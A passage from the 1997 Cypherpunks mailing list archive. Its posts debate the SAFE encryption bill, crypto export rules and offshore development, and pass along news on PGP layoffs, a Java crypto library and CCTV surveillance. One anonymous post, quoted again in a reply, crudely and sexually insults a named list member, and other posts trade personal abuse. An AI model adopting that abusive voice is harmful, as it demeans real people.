Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 2 May 1997 00:24:01 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [CRYPTO] ZKP
In-Reply-To: <199705011110.NAA14579@basement.replay.com>
Message-ID: <Pine.A41.3.95.970501095943.81290D-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to him.   
 
On Thu, 1 May 1997, Anonymous wrote:

> Tim May is widely recognized on the net, because of his 
> frequent vitriolic postings, as someone/thing ready to cut 
> off his own penis to spite the testicles, although his 
> friends recognize him better from the rear.
> 
>    __
>   /_/\__
>   \_\/\_\ Tim May
>   /\_\/_/
>   \/_/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@cdt.org>
Date: Thu, 1 May 1997 22:21:48 +0800
To: declan@well.com
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <Pine.GSO.3.95.970430194258.6805D-100000@well.com>
Message-ID: <v03020900af8e49aa795c@[207.226.3.4]>
MIME-Version: 1.0
Content-Type: text/plain


Tim -

It's too bad we may not see eye-to-eye on this one.

For what it's worth, CDT shares your concerns about the criminal provision
in the SAFE bill.  We believe that as currently written, the provision is
overly broad and could create a chilling effect on the everyday use of
encryption, and  unnecessary because it duplicates existing obstruction of
justice law.

We have expressed these concerns both publicly (in a letter to the
committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other
organizations - see  http://www.privacy.org/ipc/safe_letter.html) and
privately in conversations with the committee staff.  We hope to work with
the authors of SAFE to address these concerns, but, as you know, we are not
running this show and have to work with what the Congress gives us.

However, despite our concerns about the criminal provisions, we believe
strongly that the SAFE bill, and the bills in the Senate sponsored by Burns
and Leahy, are vitally important and should be passed.

As you know, the debate over encryption policy reform has been going on for
more than 4 years.  Despite all of our efforts to promote the use of
encryption, crypto is still not widely used by the public.

The Clinton administration has not backed off from their commitment to a
global key-escrow/key-recovery system with guaranteed law enforcement
access to private keys. And despite the brilliant work of EFF on the
various legal challenges to the export restrictions, we feel this issue
will only be fully resolved through legislation.

The status quo, in our view, is not good enough.  Because of the export
controls and the lack of a coherent US encryption policy, Internet users do
not have access to the privacy protecting encryption products they need.

Congress needs to stand up to the Administration and say, with a strong
voice, "your policy is a failure - we need a different solution".  That's
what SAFE, Pro-CODE, and ECPA II do.

Best,

Jonah


 ** THE FIGHT FOR FREE SPEECH ONLINE IS IN THE HANDS OF THE SUPREME COURT **
      Find out the latest news and information about the case, visit
         <http://www.ciec.org>   --   <ciec-info@cdt.org>

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jordan <jordan@macandco.com> (by way of Alec <camcc@abraxis.com>)
Date: Thu, 1 May 1997 22:53:39 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Federalists vs. States Rights
Message-ID: <3.0.1.32.19970501100938.007cf2d0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


"U.S. prosecutions of pro-marijuana doctors barred
April 30, 1997 Web posted at: 11:09 p.m. EDT (0309 GMT) 

SAN FRANCISCO (Reuter) -- A U.S. district judge Wednesday
issued an order temporarily barring the federal government from
prosecuting California doctors who recommend marijuana to their
patients."

http://cnn.com/US/9704/30/marijuana.doctors.ap/index.html

It's the same old song - Federalism v. States Rights

Maybe we should see what went on in past US history to find out the 
outcome of current US events.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 1 May 1997 18:36:30 +0800
To: tcmay@got.net
Subject: Re: Why I delete cc;s to other mailing lists
In-Reply-To: <v03007801af8deee5c0d0@[207.167.93.63]>
Message-ID: <199705011012.LAA02200@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> I once unintentionally forgot to delete the "cryptography@c2.net" cc: on a
> reply I made to what (I assumed) was a Cypherpunks message, and received a
> Perrygram stating that my message was off-topic and was not welcome on his
> list.

The Bcc approach avoids this problem as you don't see the Cc's, so
they only last for one post.  That's if you have an interest in
posting there at all.

I've also had negative experiences of cross posting, (I did it to
coderpunks and got a Futplexgram, followed by a threat of
unsubscription.  Pissed me off somewhat.  Also again lately following
up to someone else, which earned maybe 10 people a more polite
multiply Cc'd: please don't cross-post note from Raph).

Perry just silently nukes stuff, or says that's enough on this topic
(chop).

> Clearly Perry has the right to run _his_ list any way he wishes to, just as
> Declan has the right to run _his_ list any way he wishes to, just as Bob
> Hettinga has the right to run _his_ list (or lists) as he wishes, and just
> as Lewis McCarthy has the right to the run _his_ "Coderpunks" list as he
> wishes, and so on.
> 
> However, I think these "personal" lists are not to my taste, I don't want
> Perry or Declan or Bob or Lewis deciding whether my articles match their
> interests at the time I submit an article.

I don't either.  My only interest in posting to these lists at all is
that some people hang out there who don't read cypherpunks.  I got a
reply from Ron Rivest on the hashcash stuff as it related it to his
and Shamir's MicroMint payment system.  I presume from reading it on
coderpunks or cryptography where I forwarded copies.

> I routinely delete all of the cc:s to other lists, figuring if people want
> to read my stuff they can damn well subscribe to the Real Thing, the
> Cypherpunks list. 

So what you're saying is that you boycott them in effect, you don't
send your writings to censored lists, and if they want to read your
writing, they've got to read The List.  Well the more quality content
that comes to cypherpunks first, or exclusively to cypherpunks until a
3rd party forwards it the better, as this adds to cypherpunks
reputation, and increases the value of and interest in the list.

My attitude is leaning this way also.  I post most things to
cypherpunks first.  The others I consider in effect forwards of
material posted to cypherpunks.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 02:47:11 +0800
To: sameer <jseiger@cdt.org (Jonah Seiger)
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03020900af8e49aa795c@[207.226.3.4]>
Message-ID: <v03007800af8e9b2e837c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:52 AM -0800 5/1/97, sameer wrote:
>>
>> The status quo, in our view, is not good enough.  Because of the export
>> controls and the lack of a coherent US encryption policy, Internet users do
>> not have access to the privacy protecting encryption products they need.
>
>	Yes they do. There is a growing international crypto
>development industry. The export controls have hampered access to the
>products they need, but it has not eliminated said access.
>	SAFE is one step closer towards making *import* of
>cryptography illegal. It's a good thing Anguilla looks like a
>relatively reasonable place to live, with people like you "on our
>side".

In response to my post last night denouncing the SAFE Bill, some sources
have informed me (by phone and e-mail) that the whole SAFE thing is of
course not being driven by democratic or liberty motives. Rather, it's a
move by certain factions of industry to ensure that _some_ of their crypto
and Net commerce products can be more freely exported while also ensuring
that certain of their foreign competitors cannot enter the U.S. market
(hence the re-export clauses).

At the risk of using certain cliches, this is a bit like Farben and Krupp
getting special legislation making it easier for them to export certain of
their products while the law cracks down on both imports of their
competitors' products and on civil liberties in general.

That CDT and other organizations with "democracy" in their names would
shill for such a callow move to aid certain exports while suppressing basic
freedoms is regrettable. I can't wait for those "Use a cipher, go to
prison" billboards.

I predict that the uproar over this "use a cipher, go to prison" bill will
eventually equal the uproar over the EFF-supported Digital Telephony
(CALEA) Act of 1994. CDT and other organizations leading the charge will
never again be able to say their concerns are about civil liberties.

Oh, and Sameer, those products you re-export, like Stronghold, may soon be
banned by SAFE. It may not even be legal, even according to current law,
for you to operate out of Anguilla.

(Why, then, does the Administration oppose SAFE? And is this a reason for
folks like us to support SAFE? The Administration wants even more draconian
restrictions on basic freedoms, and SAFE does not go far enough in
restricting freedoms. Besides, with no effective lobbying group for the
"libertarian" side of the issue, the Administration knows it can safely (no
pun intended) argue against SAFE...worse case, for them, it passes, and all
the clauses about law enforcment needs and national security needs keep
things at least as bad as they are today, and probably worse. Best case,
for them, SAFE is defeated and the way is clear for them to introduce the
"Safe Streets and Children's Protection Act of 1997.")

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Fri, 2 May 1997 02:42:00 +0800
To: tcmay@got.net (Tim May)
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03007800af8e9b2e837c@[207.167.93.63]>
Message-ID: <199705011827.LAA14497@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> 
> Oh, and Sameer, those products you re-export, like Stronghold, may soon be
> banned by SAFE. It may not even be legal, even according to current law,
> for you to operate out of Anguilla.

	We don't re-export anything. All development happens outside
the US, and all sales to customers outside the US happen from outside
the US. As far as operating from Anguilla -- it would require
renouncing my US citizenship, yes.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 1 May 1997 23:58:06 +0800
To: cypherpunks@toad.com
Subject: Nations Cannot Terrorize
Message-ID: <1.5.4.32.19970501152725.008c8074@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


NYT reports today on the State Department's new 
"1996 Patterns of Global Terrorism:"

   "By the State Department's definition, nations cannot
   commit terrorism, only "subnational groups or
   clandestine agents" who carry out "politically
   motivated violence" against innocents. If a nation's
   air force bombs civilians that is not terrorism; if
   civilians blow up a plane, it is."

----

For full DoS report:

   http://jya.com/pgt1996.htm  (202K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 02:48:44 +0800
To: sameer <sameer@c2.net>
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03007800af8e9b2e837c@[207.167.93.63]>
Message-ID: <v03007801af8ea0d7d7df@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:27 AM -0800 5/1/97, sameer wrote:
>>
>> Oh, and Sameer, those products you re-export, like Stronghold, may soon be
>> banned by SAFE. It may not even be legal, even according to current law,
>> for you to operate out of Anguilla.
>
>	We don't re-export anything. All development happens outside
>the US, and all sales to customers outside the US happen from outside
>the US. As far as operating from Anguilla -- it would require
>renouncing my US citizenship, yes.

I'm no expert in these areas, but doesn't this consitute "providing hooks"
for strong crypto? The EARs say that a "hook" for inserting crypto modules
once a product is exported are essentially as bad as providing the crypto
before the product is exported.

Also, my understanding is that U.S. companies cannot send experts or
programmers to non-U.S. sites with the intention of thereby violating U.S.
export laws. (I once asked Jim Bidzos why he did not simply move his key
developers beyond the borders, and this is the answer he gave, repeated by
others at later times on the CP and other lists. So far as I know, this has
never been tested in court. Such a test would be comparable to Bernstein,
Junger, Karns, etc. in significance.)

--Tim


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 2 May 1997 00:22:47 +0800
To: cypherpunks@toad.com
Subject: Bombs Away, from The Netly News Network
Message-ID: <v03007804af8e6d02687c@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


*********

http://cgi.pathfinder.com/netly/opinion/1,1042,902,00.html

The Netly News Network
May 1, 1997

Bombs Away
by Declan McCullagh (declan@well.com)

    Internet fear-mongering is back in vogue inside
the White House. The Clinton administration escalated
its assault on the Net this week, warning that it
provides bomb-making recipes to anyone "with a modem"
and proposing a new law to restrict such information.

     In a 53-page report released on Tuesday, the
Department of Justice alleges that criminals are
trawling cyberspace for how-to kits on making
explosives. "ATF statistics reflect that, between 1985
and June 1996, the investigations of at least 30
bombings and four attempted bombings resulted in the
recovery of bomb-making literature that the suspects
had obtained from the Internet," the report says. "A
member of the DoJ committee accessed a single web site
on the World Wide Web and obtained the titles of 110
different bomb-making texts."

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 2 May 1997 00:30:11 +0800
To: cypherpunks@toad.com
Subject: J/Crypto (fwd)
Message-ID: <Pine.SUN.3.91.970501120824.18504A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


---------- Forwarded message ----------
Date: Thu, 1 May 1997 10:27:33 -0400 (EDT)
From: Alex Chaffee <alex@earthweb.com>
Subject: J/Crypto

(original at http://206.20.162.246    JavaZine )


J/CRYPTO - Cryptography class library

Baltimore Technologies shipped the first copies of its Java
cryptography product J/CRYPTO at the Java Users Group meeting at
Communications '97. J/CRYPTO is the world's first cryptography class
library written entirely in Java and implements RSA, DES, Triple-DES,
SHA1, MD5, Diffie-Hellman and other common cryptographic functions. It
plugs into the Java Cryptography Architecture (JCA) and will comply
with Sun's Java Cryptography Extension (JCE).

J/Crypto includes a range of Java classes including: 

highly optimized Multi-Precision Arithmetic Modules;
cryptographically secure Pseudo-Random Number Generation; RSA
key generation & encryption; SHA-1 & MD5 Hashing; DES and
Triple-DES encryption; Diffie Hellman Key Exchange Mechanism.



J/Crypto includes many advanced features which provide commercial
grade security for applications. These features include:

full-strength key sizes (512,1024, 2048 bit RSA keys, 112-bit
Triple-DES); fast format RSA keys (Chinese remainder theorem &
Fermat-4); eeeelimination of weak & possibly weak DES & RSA keys;
bfuscation of secret keys and other sensitive data;
compatibility with PKCS #1, #3, #5, #8, #11; sample applications
and benchmarking.



Future developments for J/CRYPTO include implementation of Secure
Sockets Layer (SSL), IDEA, RC2, RC4, BSA4, BSA5 ciphers and a range of
high-speed stream ciphers.

For more info: http://www.baltimore.ie/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 2 May 1997 00:37:59 +0800
To: cypherpunks@toad.com
Subject: Kid hacker changes his grades (fwd)
Message-ID: <Pine.SUN.3.91.970501121105.18504B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> Forwarded message

From:  http://www.accessatlanta.com/local/news/1997/04/30/gradehacker.html

Student faces felony for hacking grades

>From NewsTalk 750 WSB

A 15-year-old Florida High School student faces felony charges for
allegedly hacking his way into the school computer to change "F's" into
"A's." Jason Westerman claims it was only a joke, but he faces felony
charges for offenses against intellectual property and computer users. He's
been suspended for ten days. Westwood high school administrators want to
expel him. 

<<  End forwarded message






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Fri, 2 May 1997 04:16:57 +0800
To: whgiii@amaranth.com (William H. Geiger III)
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <199705011941.OAA10162@mailhub.amaranth.com>
Message-ID: <199705011947.MAA17020@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> 
> It is my understanding that not only is the above true but the financing of
> the development of crypto off-shore is also made illegal by the new
> restrictions. So if C2Net were to hire an independent foreign co. to
> develop their international version it would be in volation of the current
> regs even if no code was exported.

	That is an incorrect understanding of the law.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 04:17:31 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03007801af8ea0d7d7df@[207.167.93.63]>
Message-ID: <v03007803af8eb5eecc51@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:43 AM -0800 5/1/97, William H. Geiger III wrote:

>
>It is my understanding that not only is the above true but the financing of
>the development of crypto off-shore is also made illegal by the new
>restrictions. So if C2Net were to hire an independent foreign co. to
>develop their international version it would be in volation of the current
>regs even if no code was exported.
>

Yes, that's what the language said when the ITARs got switched over to EARs
and Commerce took over.

I have no idea how Sameer's C2Net finances the offshore development of
Stronghold development, etc., but it's possible the Administration could
decide to make an example of them.

The gist of the laws is that "loopholes" are being closed down one by one.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 1 May 1997 19:27:26 +0800
To: cypherpunks@toad.com
Subject: [CRYPTO] ZKP
Message-ID: <199705011110.NAA14579@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May is widely recognized on the net, because of his 
frequent vitriolic postings, as someone/thing ready to cut 
off his own penis to spite the testicles, although his 
friends recognize him better from the rear.

   __
  /_/\__
  \_\/\_\ Tim May
  /\_\/_/
  \/_/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trevor Goodchild <trevorg@dhp.com>
Date: Fri, 2 May 1997 01:37:50 +0800
To: paul@fatmans.demon.co.uk
Subject: Re:
In-Reply-To: <862018430.0517471.0@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.95.970501132715.13454A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


I assure you sir that it was meant to be posted without anonimity, and
that it was lovingly hand crafted for your reading pleasure.  Now who is
this Gruber fellow?

---
 Trevor Goodchild

On Fri, 25 Apr 1997 paul@fatmans.demon.co.uk wrote:

> 
> > From:          Trevor Goodchild <trevorg@dhp.com>
> 
> > Dimi Vulis is just another garden variety KGB whore that has 
> > [REST OF RANT DELETED]
> 
> Hmm, a slippage I wonder by Trevorg@dhp.com, this was presumably 
> supposed to be sent anonymously. But why would it not be bot`ted?
> 
> I always thought these posts were emanating from somewhere like 
> dhp.com (Recally dhp.com is the domain which Dr. Grubor has his 
> addresses on).
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Fri, 2 May 1997 04:46:03 +0800
To: whgiii@amaranth.com (William H. Geiger III)
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <199705012023.PAA10686@mailhub.amaranth.com>
Message-ID: <199705012028.NAA19546@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> described further in part 744 of the EAR.  There are no License Exceptions

	Read part 744 before you try to be a net.laywer. 

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trevor Goodchild <trevorg@dhp.com>
Date: Fri, 2 May 1997 01:45:18 +0800
To: snow <snow@smoke.suba.com>
Subject: Re: Do government employees have freedom of speech?On Thu, 24 Apr 1997, Adam Back w
In-Reply-To: <199704272220.RAA07335@smoke.suba.com>
Message-ID: <Pine.LNX.3.95.970501132911.13454C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Sod.Off.

---
 Trevor Goodchild

On Sun, 27 Apr 1997, snow wrote:

> Pot. Kettle. Black.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Super-User <root@nwdtc.com>
Date: Fri, 2 May 1997 04:50:36 +0800
To: cypherpunks@algebra.com
Subject: Layoffs at PGP
Message-ID: <3368FF82.4EDB@teleport.com>
MIME-Version: 1.0
Content-Type: text/plain

http://www.wired.com/news/business/story/3543.html

I what part of the employee base was purged?  Anyone we know?

Sounds like PGP sold their soul to the company store... (or the
corporate binge and purge mentality.)


  [arrow] PGP Pretty Good on Privacy of Layoff Details
          by Kristi Coale

          6:09pm  30.Apr.97.PDT In keeping with its core technology -
          information security - Pretty Good Privacy was tight-lipped about
          the details of the layoffs it announced to employees Tuesday
          morning.

          "We prefer not to mention the number as we are a privacy company,
          but it was small in number and limited in scope," spokesman Mike
          Nelson told Wired News on Wednesday.

          The layoffs are part of what Nelson described as a shift in the
          company's strategy from developing products for protecting
          individual privacy to being a security specialist for the Fortune
          500. Analysts say this rejiggering of priorities is not a drastic
          one, pointing to the 24 March purchase of ZoomIt, a company that
          specialized in corporate, enterprise-wide security systems.

          The shift represents a maturation of a company that built its
          reputation through a type of grass-roots organizing: distributing
          its products through freeware, said Ezra Gottheil, director of
          Internet business strategies in Newton, Massachusetts.

          "They're a real Internet company. They're also an ambitious
          company that sees it's time to move into corporate IS
          departments," Gottheil said.

          Part of that shift may mean that Internet Fast-Forward, an
          ad-filtering technology developed by PrivNet, which PGP acquired
          last November, will take a back seat - perhaps permanently.
          Although PGP wouldn't say that it is pulling the plug on the
          product, Fast-Forward is considered a "lower priority" than other
          developments, Nelson said.

          "Internet Fast-Forward is not as closely related to the tools we
          develop for individuals for privacy," he said. And the fact that
          Fast-Forward filters ads which are an "inimical part of some of
          the emerging Web commerce models ... we don't want to hinder this
          development."

          Nelson wouldn't say whether the layoffs affected anyone in
          PrivNet but noted that the acquisition generated engineering
          talent PGP wanted. That technical know-how along with other
          resources are being focused on centralized corporate security
          systems. In fact, the company has put out a casting call for more
          engineers to satisfy its resource dearth in research and
          development in this area.

          Ultimately, all of these adjustments could simply be PGP's
          preparation to woo the investors it seeks for a public offering.
          Although PGP has no immediate plans to go public, company
          officials intend to review these investment schedules this
          summer, Nelson said.

          Related Wired Links:
          PGP's Export Solution: Stamps, Envelopes
          by James Glave

          PGP Zooms into Corporate Security
          by Spencer E. Ante

          PGP Lets You Take Charge of Your Cookies
          by James Glave

          Beat That Tap - It's PGP For Sale
          by David Lazarus

          [arrow]

   [Image]
     Find Read a story in the Wired News archive.
 Feedback Let us know how we're doing.
      TipsHave a story or tip for Wired News? Send it.

Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated companies.
All rights reserved.



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 2 May 1997 04:14:23 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Privacy news: Oakland Cameras, Levi employee files, FileGate
In-Reply-To: <Pine.LNX.3.91.970501182336.502A-100000@fatmans.demon.co.uk>
Message-ID: <199705011921.OAA09906@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.LNX.3.91.970501182336.502A-100000@fatmans.demon.co.uk>, on
05/01/97 at 12:31 PM,
   Paul Bradley <paul@fatmans.demon.co.uk> said:





>> Bay Alarm said that some British cities have dealt with privacy fears by
>> setting up monitoring centers away from city and police offices,
>> where tapes are kept in case a crime occurs -- crime victims can call up
>> the police and ask them to play back tapes, said Mark Demier of Bay Alarm.
>> The camera systems are also capable of taking pictures in the dark.

>Not just cities, quite small towns and residential areas have now taken 
>to using citizen-units tax money installing systems to spy on the very 
>same people. I have now taken to not visiting a town near me (Hastings) 
>because of the CCTV systems in place. Not content with spying on citizens 
>going about their business in towns a number of state funded colleges and 
>universities are now installing CCTV systems. Presumably audio "bugs" 
>will also be in order to ensure the student-units do not say anything 
>unseemly or hinting at some form of intellectual heresy.

>Also, a number of car alarm manufacturers are now producing systems to 
>track cars using GPS so if the car is stolen the police can track its 
>movements. I can quite easily envisage a situation in a few years time 
>when it is mandated that all new cars produced must be fitted with such 
>systems so that the government can track the movement of citizens.

>One cannot now go out of ones own house without being monitored, and for 
>those of us who are known heretics maybe even that is not true. 

Well I invision that in 20-30 years all TV's will be two-way (ala 1984) and
any LEA will be able to monitor the activities of the serfs a the push of a
button.

The infrastructure for this is currently being built. With the merging of
technologies: cable, INet, TV, Phone, & Computer all that will be needed is
the adding of a mic and video camera which will more then likely be
standard features of the computer/communication/entertainment equipment.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Rumour: NT means Not Tested

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2j8to9Co1n+aLhhAQE5gAQAhO+H/+OHVq7tDEHrHwvUfvEcwViyipLk
i+UGXM8Olk/7HEb07eUFPyCU2oIvBw2KbPvwEHAKGy3SkccxhQdAaWduuDvZciND
HuBwQ2OX8i1Vy4oNOaCRBCxmGDtHVmT2FKC7x0MsZqylUqZdRfTKfrEfl+f9oWrs
UWqV6cbRGjU=
=Ja++
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 2 May 1997 04:08:00 +0800
To: Tim May <tcmay@got.net>
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03007801af8ea0d7d7df@[207.167.93.63]>
Message-ID: <199705011941.OAA10162@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007801af8ea0d7d7df@[207.167.93.63]>, on 05/01/97 at 01:40 PM,
   Tim May <tcmay@got.net> said:


>At 10:27 AM -0800 5/1/97, sameer wrote:
>>>
>>> Oh, and Sameer, those products you re-export, like Stronghold, may soon be
>>> banned by SAFE. It may not even be legal, even according to current law,
>>> for you to operate out of Anguilla.
>>
>>	We don't re-export anything. All development happens outside
>>the US, and all sales to customers outside the US happen from outside
>>the US. As far as operating from Anguilla -- it would require
>>renouncing my US citizenship, yes.

>I'm no expert in these areas, but doesn't this consitute "providing hooks"
>for strong crypto? The EARs say that a "hook" for inserting crypto modules
>once a product is exported are essentially as bad as providing the crypto
>before the product is exported.

>Also, my understanding is that U.S. companies cannot send experts or
>programmers to non-U.S. sites with the intention of thereby violating U.S.
>export laws. (I once asked Jim Bidzos why he did not simply move his key
>developers beyond the borders, and this is the answer he gave, repeated by
>others at later times on the CP and other lists. So far as I know, this
>has never been tested in court. Such a test would be comparable to
>Bernstein, Junger, Karns, etc. in significance.)

It is my understanding that not only is the above true but the financing of
the development of crypto off-shore is also made illegal by the new
restrictions. So if C2Net were to hire an independent foreign co. to
develop their international version it would be in volation of the current
regs even if no code was exported.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I don't do Windows, but OS/2 does.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2kBZI9Co1n+aLhhAQGMSgP8CzO+KYpsR+PWK2Ukxowxm6mCb+cfsmkm
7P8lakJ51Pvw19fR9lADPpNPkztjMRffIiY00sBZzq01xCyPS4IkK/+vwmfkmCSX
722rNi9ruP9yyJPMTxlqcxgcYrkKXdZtvmmhlVglu08cqp/rVOE6gotHZYHA1XEh
wVPP4/CpANU=
=Uny/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 2 May 1997 05:11:46 +0800
To: cypherpunks@toad.com
